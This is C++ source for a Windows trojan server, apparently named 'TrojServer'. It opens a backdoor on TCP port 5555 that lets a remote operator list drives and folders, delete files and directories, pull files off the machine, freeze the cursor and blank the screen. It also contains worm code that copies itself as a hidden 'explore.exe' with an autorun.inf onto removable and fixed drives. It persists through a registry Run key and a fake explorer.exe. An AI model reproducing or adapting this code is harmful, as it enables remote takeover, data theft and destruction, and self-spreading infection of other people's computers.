#include "stdafx.h"
#include "TrojServer.h"
#include "Common.h"
#include <windows.h>
#include <winsock.h>
using namespace std;
#pragma comment (lib,"ws2_32")

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

 
typedef struct
{
	int			ID;
	BYTE		lparam[BLOCK_SIZE*2]; 

}COMMAND;

typedef struct
{
	char		FileName[MAX_PATH];
	int			FileLen;
	char		Time[50];
	BOOL		IsDir;
	BOOL		Error;
	HICON		hIcon;

}FILEINFO;

BOOL	DeleteDirectory	(char *DirName);

DWORD	WINAPI SLisen	(LPVOID lparam);
DWORD	GetDriverProc	(COMMAND command,SOCKET client);
DWORD	GetDirProc	(COMMAND command,SOCKET client);
DWORD	DelFileProc		(COMMAND command,SOCKET client);
DWORD   DelDirProc		(COMMAND command,SOCKET client);
DWORD   DownloadProc		(COMMAND command,SOCKET client);
DWORD	FrozeCursorProc	(COMMAND command,SOCKET client);
DWORD	BlackScreenProc	(COMMAND command,SOCKET client);

HANDLE	hMutex;
TCHAR	ExeFile[MAX_PATH];

DWORD	WINAPI infect	(LPVOID lpParam);
void	Install			(void);
void	InfectOtherDisk	();
int		StartInfect		();



int WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE, LPTSTR lpstrCmdLine, int nCmdShow)
{
	if (_tcsstr(lpstrCmdLine,_T("/i"))==NULL)
	{
		StartInfect();
	}

	WSADATA wsadata;
	SOCKET server;
	SOCKET client;
	SOCKADDR_IN serveraddr;
	SOCKADDR_IN clientaddr;
	int port=5555;

	WORD ver=MAKEWORD(2,2);	
	WSAStartup(ver,&wsadata);

	server=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

	serveraddr.sin_family=AF_INET;
	serveraddr.sin_port=htons(port);
	serveraddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);

	bind(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr));
	
	listen(server,5);

	int len=sizeof(clientaddr);

	while(true)
	{
		if(client=accept(server,(sockaddr *)&clientaddr,&len))
		{
			cout<<"CreateThread is the ok \n";
			CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);
		}
	}

	closesocket(server);
	closesocket(client);
	WSACleanup();
	return 0;
}

DWORD	WINAPI SLisen	(LPVOID lparam)
{
	SOCKET client=(SOCKET)lparam;
	
	COMMAND command;

	while(1)
	{
		memset((char*)&command,0,sizeof(command));
		if(recv(client,(char*)&command,sizeof(command),0)==SOCKET_ERROR)
		{
			cout<<"The Client Socket is Closed\n";
			break;
		}else
		{
			switch(command.ID)
				{
				case GetDriver:
					 GetDriverProc	(command,client);
					 break;
				case GetDirInfo:
					 GetDirProc	(command,client);
					 break;
				case DelFile:
					 DelFileProc	(command,client);
					 break;
				case DelDir:
					 DelDirProc		(command,client);
					 break;
				case GetFile:
					 DownloadProc	(command,client);
					 break;
				case FrozeCursor:
					FrozeCursorProc	(command,client);
					break;
				case BlackScreen:
					BlackScreenProc	(command,client);
					break;

				}
		}
	}

	closesocket(client);
	return 0;
}

DWORD	GetDriverProc	(COMMAND command,SOCKET client)
{
	cout<<"GetDriver is ok\n";

	COMMAND cmd;
	memset((char*)&cmd,0,sizeof(cmd));
	cmd.ID=GetDriver;

	for(char i='A';i<='Z';i++)
	{
		char x[20]={i,':'};

		UINT Type=GetDriveType(x);

		if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM)

		{
			cout<<x<<"\n";
			memset((char*)&cmd.lparam,0,sizeof(cmd.lparam));
			strcpy((char*)&cmd.lparam,x);
			if(send(client,(char*)&cmd,sizeof(cmd),0)==SOCKET_ERROR)
			{
				cout << "Send Driver is Error\n";
			}
		}
	}
	return 0;
}

DWORD	GetDirProc	(COMMAND command,SOCKET client)
{
	cout<<"GetDir is ok\n";

	FILEINFO fi;
	COMMAND	 cmd;
	memset((char*)&cmd,0,sizeof(cmd));
	memset((char*)&fi,0,sizeof(fi));

	strcat((char*)command.lparam,"*.*");
	cout<<(char*)command.lparam<<"\n";

	CFileFind file;
	BOOL bContinue = file.FindFile((char*)command.lparam);

	while(bContinue)
	{
		memset((char*)&cmd,0,sizeof(cmd));
		memset((char*)&fi,0,sizeof(fi));

		bContinue = file.FindNextFile();
		if(file.IsDirectory())
		{
			fi.IsDir=true;
		}
		strcpy(fi.FileName,file.GetFileName().LockBuffer());
		cout<<fi.FileName<<"\n";

		cmd.ID=GetDirInfo;
		memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi));

		if(send(client,(char*)&cmd,sizeof(cmd),0)==SOCKET_ERROR)
		{
			cout << "Send Dir is Error\n";
		}
	}

	return 0;
}

DWORD	DelFileProc		(COMMAND command,SOCKET client)
{
	COMMAND	 cmd;
	memset((char*)&cmd,0,sizeof(cmd));
	cmd.ID=DelFile;

	SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL);
	
	
	if(DeleteFile((char*)command.lparam)==0)
	{
		strcpy((char*)cmd.lparam,"Del File Failed!");
		send(client,(char*)&cmd,sizeof(cmd),0);

	}
	else
	{
		strcpy((char*)cmd.lparam,"Del File Success!");
		send(client,(char*)&cmd,sizeof(cmd),0);

	}

	return 0;

}

DWORD	DelDirProc		(COMMAND command,SOCKET client)
{
	cout <<"del dir id is ok\n";
	COMMAND	 cmd;
	memset((char*)&cmd,0,sizeof(cmd));
	cmd.ID=DelDir;

	cout<<(char*)command.lparam<<"\n";

	if(DeleteDirectory((char*)command.lparam)==TRUE)
	{
		strcpy((char*)cmd.lparam,"Del Dir Success!");
		send(client,(char*)&cmd,sizeof(cmd),0);

	}
	else
	{
		strcpy((char*)cmd.lparam,"Del Dir Failed");
		send(client,(char*)&cmd,sizeof(cmd),0);
	}

	return 0;

}

BOOL	DeleteDirectory	(char *DirName)
{
   CFileFind tempFind;
   char tempFileFind[200];
   sprintf(tempFileFind,"%s*.*",DirName);
   BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
   while(IsFinded)
   {
      IsFinded=(BOOL)tempFind.FindNextFile();
      if(!tempFind.IsDots())
      {
         char foundFileName[200];
         strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200));
         if(tempFind.IsDirectory())
         {
            char tempDir[200];
            sprintf(tempDir,"%s\\%s",DirName,foundFileName);
            DeleteDirectory(tempDir);
         }
         else
         {
            char tempFileName[200];
            sprintf(tempFileName,"%s\\%s",DirName,foundFileName);
			SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL);
            DeleteFile(tempFileName);
			cout <<"now delete "<<tempFileName<<"\n";
         }
      }
   }
   tempFind.Close();
   if(!RemoveDirectory(DirName))
   {
      return FALSE;
   }
   return TRUE;
}

DWORD	DownloadProc		(COMMAND command,SOCKET client)
{
	cout <<"get file proc is ok\n";

	COMMAND	 cmd;
	FILEINFO fi;
	memset((char*)&fi,0,sizeof(fi));
	memset((char*)&cmd,0,sizeof(cmd));
	cmd.ID=GetFile;

	CFile	file;
	int		nChunkCount=0;

	if(file.Open((char*)command.lparam,CFile::modeRead|CFile::typeBinary))
	{
		cout <<(char*)command.lparam<<"\n";

		int FileLen=file.GetLength();

		fi.FileLen=file.GetLength();

		strcpy((char*)fi.FileName,file.GetFileName());

		memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi));

		send(client,(char*)&cmd,sizeof(cmd),0);

		nChunkCount=FileLen/BUFFER_SIZE;
		
		//if(FileLen%nChunkCount!=0)
			nChunkCount++;

		char *date=new char[BUFFER_SIZE];
		
		for(int i=0;i<nChunkCount;i++)
		{
			cout<<"send the count"<<i<<"\n";
			int nLeft;

			if(i+1==nChunkCount)
				nLeft=FileLen-BUFFER_SIZE*(nChunkCount-1);
			else
				nLeft=BUFFER_SIZE;

			int idx=0;
			file.Read(date,nLeft);

			if(nLeft>0)
			{
				int ret=send(client,&date[idx],nLeft,0);
				if(ret==SOCKET_ERROR)
					cout<<"error \n";

				//nLeft-=ret;
				idx+=ret;
			}
		}

		file.Close();
		delete[] date;

	}

	return 0;
}

DWORD	FrozeCursorProc	(COMMAND command,SOCKET client)
{
	printf("Cursor to be normal within 10 seconds...\n");
	RECT rect;
	rect.bottom = 1;
	rect.right = 1;
	ClipCursor(&rect);
	::Sleep(10*1000);
	ClipCursor(NULL);

	return 0;
}

DWORD	BlackScreenProc	(COMMAND command,SOCKET client)
{
	for (int i=0;i<600*1000;i++)
	{
		SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);
	}
	SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);

	return 0;
}

void	Install			(void)
{
	TCHAR FilePath[255]={0};
	TCHAR Explorer[12]=_T("explorer ");
	HKEY AutoStart;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory( &si, sizeof(si) );
	si.cb = sizeof(si);
	ZeroMemory( &pi, sizeof(pi) );
	if(GetSystemDirectory((FilePath),254) == 0)
	{
		return;
	}
	_tcscpy(FilePath, _T("\\explorer.exe"));
	CopyFile(ExeFile, FilePath, true);
	RegOpenKeyEx(HKEY_LOCAL_MACHINE,_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"),
		0, KEY_ALL_ACCESS, &AutoStart);
	RegSetValueEx(AutoStart,
		_T("MyMuma"),
		0,
		REG_SZ,
		(LPBYTE) FilePath,
		_tcslen(FilePath) + 1);
	RegCloseKey(AutoStart);
	_tcscpy(FilePath,ExeFile);
	FilePath[3]='\0';
	_tcscat(Explorer,FilePath);
	CreateProcess( NULL, Explorer, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
	return;
}

DWORD	WINAPI infect	(LPVOID lpParam)
{
	TCHAR Drives[255];
	int DriveType;
	TCHAR *pDrive=0;
	TCHAR FilePath[MAX_PATH];
	FILE *AutoRun;
	while(true)
	{
		memset(Drives,0,255);
		memset(FilePath,0,25);
		pDrive=Drives;
		DriveType=0;
		AutoRun=NULL;
		GetLogicalDriveStrings(254,(Drives));
		while(pDrive[0]!=NULL)
		{
			DriveType=GetDriveType(pDrive);
			if(DriveType!=DRIVE_REMOVABLE)
			{
				pDrive+=4;
				continue;
			}
			_tcscpy(FilePath,pDrive);
			_tcscat(FilePath,_T("explore.exe"));
			SetFileAttributes(FilePath,FILE_ATTRIBUTE_NORMAL);
			DeleteFile(FilePath);
			CopyFile(ExeFile, FilePath,false);
			SetFileAttributes(FilePath,FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
			_tcscpy(FilePath,pDrive);
			_tcscat(FilePath,_T("autorun.inf"));
			SetFileAttributes(FilePath,FILE_ATTRIBUTE_NORMAL);
			DeleteFile(FilePath);
			try
			{
				AutoRun=_tfopen(FilePath,_T("w+"));
				if(AutoRun!=NULL)
				{
					fputs("[AutoRun]\n",AutoRun);
					fputs("open=explore.exe\n",AutoRun);
					fputs("shellexecute=explore.exe\n",AutoRun);
					fputs("shell\\Auto\\command=explore.exe",AutoRun);
				}
				fclose(AutoRun);
				SetFileAttributes(FilePath,FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
			}
			catch ( const std::exception & e)
			{
				return -1;
			}
			pDrive+=4;
		}
		Sleep(3000);
	}
	return 0;
}

void	InfectOtherDisk	(void)
{
	TCHAR Drives[255];
	int DriveType;
	TCHAR *pDrive=0;
	TCHAR AppFilePath[25];
	TCHAR InfFilePath[25];
	memset(Drives,0,255);
	memset(AppFilePath,0,25);
	memset(InfFilePath,0,25);
	pDrive=Drives;
	DriveType=0;
	GetLogicalDriveStrings(254,Drives);
	while(pDrive[0]!=NULL)
	{
		DriveType=GetDriveType(pDrive);
		if(DriveType==DRIVE_FIXED)
		{
			_tcscpy(AppFilePath,pDrive);
			_tcscpy(InfFilePath,pDrive);
			_tcscat(AppFilePath,_T("explore.exe"));
			_tcscat(InfFilePath,_T("autorun.inf"));
			CopyFile(ExeFile,AppFilePath, true);
			SetFileAttributes(AppFilePath,FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
			CopyFile(_T("autorun.inf"),InfFilePath,true);
			SetFileAttributes(InfFilePath,FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
			pDrive+=4;
		}
		else
		{
			break;
		}
	}
}

int		StartInfect		()
{
	int DriveType;
	GetModuleFileName(NULL,ExeFile,MAX_PATH);
	if((hMutex=CreateMutex(NULL,true,_T("MyMuma")))==NULL)
	{
		return 0;
	}
	else
	{
		DWORD dw = WaitForSingleObject(hMutex, 0);
		if (WAIT_FAILED == dw)
		{
			//Error("Wait for mutex error.");
			CloseHandle(hMutex);
			return -1;
		}
		else if (WAIT_TIMEOUT == dw)
		{
			CloseHandle(hMutex);
			return 1;
		}
		else
		{
			DriveType=GetDriveType(NULL);
			if(DriveType==DRIVE_REMOVABLE)
			{
				Install();
				InfectOtherDisk();
			}
			else if (DriveType==DRIVE_FIXED)
			{
				InfectOtherDisk();
				CreateThread(NULL,NULL,infect,NULL,NULL,NULL);
			}
			ReleaseMutex(hMutex);
			CloseHandle(hMutex);
			return 0;
		}
	}
}
